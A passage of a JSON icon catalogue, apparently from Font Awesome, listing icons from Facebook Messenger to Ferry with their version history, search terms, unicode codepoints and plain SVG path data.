        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"
      }
    },
    "free": ["brands"]
  },
  "facebook-messenger": {
    "changes": ["5.0.0", "5.8.2", "5.9.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f39f",
    "label": "Facebook Messenger",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"
      }
    },
    "free": ["brands"]
  },
  "fan": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f863"]
      }
    },
    "changes": ["5.9.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ac", "air conditioning", "blade", "blower", "cool", "hot"]
    },
    "styles": ["solid"],
    "unicode": "f863",
    "label": "Fan",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M258.6 0c-1.7 0-3.4 .1-5.1 .5C168 17 115.6 102.3 130.5 189.3c2.9 17 8.4 32.9 15.9 47.4L32 224H29.4C13.2 224 0 237.2 0 253.4c0 1.7 .1 3.4 .5 5.1C17 344 102.3 396.4 189.3 381.5c17-2.9 32.9-8.4 47.4-15.9L224 480v2.6c0 16.2 13.2 29.4 29.4 29.4c1.7 0 3.4-.1 5.1-.5C344 495 396.4 409.7 381.5 322.7c-2.9-17-8.4-32.9-15.9-47.4L480 288h2.6c16.2 0 29.4-13.2 29.4-29.4c0-1.7-.1-3.4-.5-5.1C495 168 409.7 115.6 322.7 130.5c-17 2.9-32.9 8.4-47.4 15.9L288 32V29.4C288 13.2 274.8 0 258.6 0zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M258.6 0c-1.7 0-3.4 .1-5.1 .5C168 17 115.6 102.3 130.5 189.3c2.9 17 8.4 32.9 15.9 47.4L32 224H29.4C13.2 224 0 237.2 0 253.4c0 1.7 .1 3.4 .5 5.1C17 344 102.3 396.4 189.3 381.5c17-2.9 32.9-8.4 47.4-15.9L224 480v2.6c0 16.2 13.2 29.4 29.4 29.4c1.7 0 3.4-.1 5.1-.5C344 495 396.4 409.7 381.5 322.7c-2.9-17-8.4-32.9-15.9-47.4L480 288h2.6c16.2 0 29.4-13.2 29.4-29.4c0-1.7-.1-3.4-.5-5.1C495 168 409.7 115.6 322.7 130.5c-17 2.9-32.9 8.4-47.4 15.9L288 32V29.4C288 13.2 274.8 0 258.6 0zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "fantasy-flight-games": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "game",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f6dc",
    "label": "Fantasy Flight-games",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"
      }
    },
    "free": ["brands"]
  },
  "faucet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e005"]
      }
    },
    "changes": ["5.12.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "drinking",
        "drip",
        "house",
        "hygiene",
        "kitchen",
        "potable",
        "potable water",
        "sanitation",
        "sink",
        "water"
      ]
    },
    "styles": ["solid"],
    "unicode": "e005",
    "label": "Faucet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 96v12L96 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l96-12 31-3.9 1-.1 1 .1 31 3.9 96 12c17.7 0 32-14.3 32-32s-14.3-32-32-32l-96 12V96c0-17.7-14.3-32-32-32s-32 14.3-32 32zM32 256c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H132.1c20.2 29 53.9 48 91.9 48s71.7-19 91.9-48H352c17.7 0 32 14.3 32 32s14.3 32 32 32h64c17.7 0 32-14.3 32-32c0-88.4-71.6-160-160-160H320l-22.6-22.6c-6-6-14.1-9.4-22.6-9.4H256V180.2l-32-4-32 4V224H173.3c-8.5 0-16.6 3.4-22.6 9.4L128 256H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 96v12L96 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l96-12 31-3.9 1-.1 1 .1 31 3.9 96 12c17.7 0 32-14.3 32-32s-14.3-32-32-32l-96 12V96c0-17.7-14.3-32-32-32s-32 14.3-32 32zM32 256c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H132.1c20.2 29 53.9 48 91.9 48s71.7-19 91.9-48H352c17.7 0 32 14.3 32 32s14.3 32 32 32h64c17.7 0 32-14.3 32-32c0-88.4-71.6-160-160-160H320l-22.6-22.6c-6-6-14.1-9.4-22.6-9.4H256V180.2l-32-4-32 4V224H173.3c-8.5 0-16.6 3.4-22.6 9.4L128 256H32z"
      }
    },
    "free": ["solid"]
  },
  "faucet-drip": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6b0"],
        "secondary": ["10e006"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "drinking",
        "drip",
        "house",
        "hygiene",
        "kitchen",
        "potable",
        "potable water",
        "sanitation",
        "sink",
        "water"
      ]
    },
    "styles": ["solid"],
    "unicode": "e006",
    "label": "Faucet Drip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V44l96-12c17.7 0 32 14.3 32 32s-14.3 32-32 32L256 84l-31-3.9-1-.1-1 .1L192 84 96 96C78.3 96 64 81.7 64 64s14.3-32 32-32l96 12V32c0-17.7 14.3-32 32-32zM0 224c0-17.7 14.3-32 32-32h96l22.6-22.6c6-6 14.1-9.4 22.6-9.4H192V116.2l32-4 32 4V160h18.7c8.5 0 16.6 3.4 22.6 9.4L320 192h32c88.4 0 160 71.6 160 160c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32s-14.3-32-32-32H315.9c-20.2 29-53.9 48-91.9 48s-71.7-19-91.9-48H32c-17.7 0-32-14.3-32-32V224zM436.8 423.4c1.9-4.5 6.3-7.4 11.2-7.4s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V480c0 17.7-14.3 32-32 32s-32-14.3-32-32v-1.2c0-4.5 .9-8.9 2.7-13.1l18.2-42.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V44l96-12c17.7 0 32 14.3 32 32s-14.3 32-32 32L256 84l-31-3.9-1-.1-1 .1L192 84 96 96C78.3 96 64 81.7 64 64s14.3-32 32-32l96 12V32c0-17.7 14.3-32 32-32zM0 224c0-17.7 14.3-32 32-32h96l22.6-22.6c6-6 14.1-9.4 22.6-9.4H192V116.2l32-4 32 4V160h18.7c8.5 0 16.6 3.4 22.6 9.4L320 192h32c88.4 0 160 71.6 160 160c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32s-14.3-32-32-32H315.9c-20.2 29-53.9 48-91.9 48s-71.7-19-91.9-48H32c-17.7 0-32-14.3-32-32V224zM436.8 423.4c1.9-4.5 6.3-7.4 11.2-7.4s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V480c0 17.7-14.3 32-32 32s-32-14.3-32-32v-1.2c0-4.5 .9-8.9 2.7-13.1l18.2-42.4z"
      }
    },
    "free": ["solid"]
  },
  "fax": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e0", "1f5b7"],
        "secondary": ["10f1ac"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.3.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Fax Icon",
        "business",
        "communicate",
        "copy",
        "facsimile",
        "fax",
        "fax machine",
        "send"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ac",
    "label": "Fax",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 64v96h64V64H386.7L416 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L432 18.7C420 6.7 403.7 0 386.7 0H192c-35.3 0-64 28.7-64 64zM0 160V480c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zm480 32H128V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM256 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 64v96h64V64H386.7L416 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L432 18.7C420 6.7 403.7 0 386.7 0H192c-35.3 0-64 28.7-64 64zM0 160V480c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zm480 32H128V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM256 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "feather": {
    "aliases": {
      "unicodes": {
        "composite": ["1fab6"],
        "secondary": ["10f52d"]
      }
    },
    "changes": ["5.0.13", "5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bird",
        "feather",
        "flight",
        "light",
        "plucked",
        "plumage",
        "quill",
        "write"
      ]
    },
    "styles": ["solid"],
    "unicode": "f52d",
    "label": "Feather",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57-57h68c49.7 0 97.9-14.4 139-41c11.1-7.2 5.5-23-7.8-23c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l81-24.3c2.5-.8 4.8-2.1 6.7-4l22.4-22.4c10.1-10.1 2.9-27.3-11.3-27.3l-32.2 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l112-33.6c4-1.2 7.4-3.9 9.3-7.7C506.4 207.6 512 184.1 512 160c0-41-16.3-80.3-45.3-109.3l-5.5-5.5C432.3 16.3 393 0 352 0s-80.3 16.3-109.3 45.3L139 149C91 197 64 262.1 64 330v55.3L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57-57h68c49.7 0 97.9-14.4 139-41c11.1-7.2 5.5-23-7.8-23c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l81-24.3c2.5-.8 4.8-2.1 6.7-4l22.4-22.4c10.1-10.1 2.9-27.3-11.3-27.3l-32.2 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l112-33.6c4-1.2 7.4-3.9 9.3-7.7C506.4 207.6 512 184.1 512 160c0-41-16.3-80.3-45.3-109.3l-5.5-5.5C432.3 16.3 393 0 352 0s-80.3 16.3-109.3 45.3L139 149C91 197 64 262.1 64 330v55.3L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z"
      }
    },
    "free": ["solid"]
  },
  "feather-pointed": {
    "aliases": {
      "names": ["feather-alt"],
      "unicodes": {
        "secondary": ["10f56b"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bird", "light", "plucked", "quill", "write"]
    },
    "styles": ["solid"],
    "unicode": "f56b",
    "label": "Feather Pointed",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l74.8-74.8c7.4 4.6 15.3 8.2 23.8 10.5C200.3 452.8 270 454.5 338 409.4c12.2-8.1 5.8-25.4-8.8-25.4l-16.1 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l97.7-29.3c3.4-1 6.4-3.1 8.4-6.1c4.4-6.4 8.6-12.9 12.6-19.6c6.2-10.3-1.5-23-13.5-23l-38.6 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l80.9-24.3c4.6-1.4 8.4-4.8 10.2-9.3C494.5 163 507.8 86.1 511.9 36.8c.8-9.9-3-19.6-10-26.6s-16.7-10.8-26.6-10C391.5 7 228.5 40.5 137.4 131.6C57.3 211.7 56.7 302.3 71.3 356.4c2.1 7.9 12 9.6 17.8 3.8L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l74.8-74.8c7.4 4.6 15.3 8.2 23.8 10.5C200.3 452.8 270 454.5 338 409.4c12.2-8.1 5.8-25.4-8.8-25.4l-16.1 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l97.7-29.3c3.4-1 6.4-3.1 8.4-6.1c4.4-6.4 8.6-12.9 12.6-19.6c6.2-10.3-1.5-23-13.5-23l-38.6 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l80.9-24.3c4.6-1.4 8.4-4.8 10.2-9.3C494.5 163 507.8 86.1 511.9 36.8c.8-9.9-3-19.6-10-26.6s-16.7-10.8-26.6-10C391.5 7 228.5 40.5 137.4 131.6C57.3 211.7 56.7 302.3 71.3 356.4c2.1 7.9 12 9.6 17.8 3.8L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z"
      }
    },
    "free": ["solid"]
  },
  "fedex": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["Federal Express", "package", "shipping"]
    },
    "styles": ["brands"],
    "unicode": "f797",
    "label": "FedEx",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"
      }
    },
    "free": ["brands"]
  },
  "fedora": {
    "changes": ["5.6.0", "5.6.3", "5.8.0", "6.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f798",
    "label": "Fedora",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M.0413 255.8C.1219 132.2 100.3 32 224 32C347.7 32 448 132.3 448 256C448 379.7 347.8 479.9 224.1 480H50.93C22.84 480 .0832 457.3 .0416 429.2H0V255.8H.0413zM342.6 192.7C342.6 153 307 124.2 269.4 124.2C234.5 124.2 203.6 150.5 199.3 184.1C199.1 187.9 198.9 189.1 198.9 192.6C198.8 213.7 198.9 235.4 198.1 257C199 283.1 199.1 309.1 198.1 333.6C198.1 360.7 178.7 379.1 153.4 379.1C128.1 379.1 107.6 358.9 107.6 333.6C108.1 305.9 130.2 288.3 156.1 287.5H156.3L182.6 287.3V250L156.3 250.2C109.2 249.8 71.72 286.7 70.36 333.6C70.36 379.2 107.9 416.5 153.4 416.5C196.4 416.5 232.1 382.9 236 340.9L236.2 287.4L268.8 287.1C294.1 287.3 293.8 249.3 268.6 249.8L236.2 250.1C236.2 243.7 236.3 237.3 236.3 230.9C236.4 218.2 236.4 205.5 236.2 192.7C236.3 176.2 252 161.5 269.4 161.5C286.9 161.5 305.3 170.2 305.3 192.7C305.3 195.9 305.2 197.8 305 199C303.1 209.5 310.2 219.4 320.7 220.9C331.3 222.4 340.9 214.8 341.9 204.3C342.5 200.1 342.6 196.4 342.6 192.7H342.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M.0413 255.8C.1219 132.2 100.3 32 224 32C347.7 32 448 132.3 448 256C448 379.7 347.8 479.9 224.1 480H50.93C22.84 480 .0832 457.3 .0416 429.2H0V255.8H.0413zM342.6 192.7C342.6 153 307 124.2 269.4 124.2C234.5 124.2 203.6 150.5 199.3 184.1C199.1 187.9 198.9 189.1 198.9 192.6C198.8 213.7 198.9 235.4 198.1 257C199 283.1 199.1 309.1 198.1 333.6C198.1 360.7 178.7 379.1 153.4 379.1C128.1 379.1 107.6 358.9 107.6 333.6C108.1 305.9 130.2 288.3 156.1 287.5H156.3L182.6 287.3V250L156.3 250.2C109.2 249.8 71.72 286.7 70.36 333.6C70.36 379.2 107.9 416.5 153.4 416.5C196.4 416.5 232.1 382.9 236 340.9L236.2 287.4L268.8 287.1C294.1 287.3 293.8 249.3 268.6 249.8L236.2 250.1C236.2 243.7 236.3 237.3 236.3 230.9C236.4 218.2 236.4 205.5 236.2 192.7C236.3 176.2 252 161.5 269.4 161.5C286.9 161.5 305.3 170.2 305.3 192.7C305.3 195.9 305.2 197.8 305 199C303.1 209.5 310.2 219.4 320.7 220.9C331.3 222.4 340.9 214.8 341.9 204.3C342.5 200.1 342.6 196.4 342.6 192.7H342.6z"
      }
    },
    "free": ["brands"]
  },
  "ferry": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barge", "boat", "carry", "ferryboat", "ship"]
    },
    "styles": ["solid"],
    "unicode": "e4ea",
    "label": "Ferry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 0H352c17.7 0 32 14.3 32 32h75.1c20.6 0 31.6 24.3 18.1 39.8L456 96H120L98.8 71.8C85.3 56.3 96.3 32 116.9 32H192c0-17.7 14.3-32 32-32zM96 128H480c17.7 0 32 14.3 32 32V283.5c0 13.3-4.2 26.3-11.9 37.2l-51.4 71.9c-1.9 1.1-3.7 2.2-5.5 3.5c-15.5 10.7-34 18-51 19.9H375.6c-17.1-1.8-35-9-50.8-19.9c-22.1-15.5-51.6-15.5-73.7 0c-14.8 10.2-32.5 18-50.6 19.9H183.9c-17-1.8-35.6-9.2-51-19.9c-1.8-1.3-3.7-2.4-5.6-3.5L75.9 320.7C68.2 309.8 64 296.8 64 283.5V160c0-17.7 14.3-32 32-32zm32 64v96H448V192H128zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.3-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
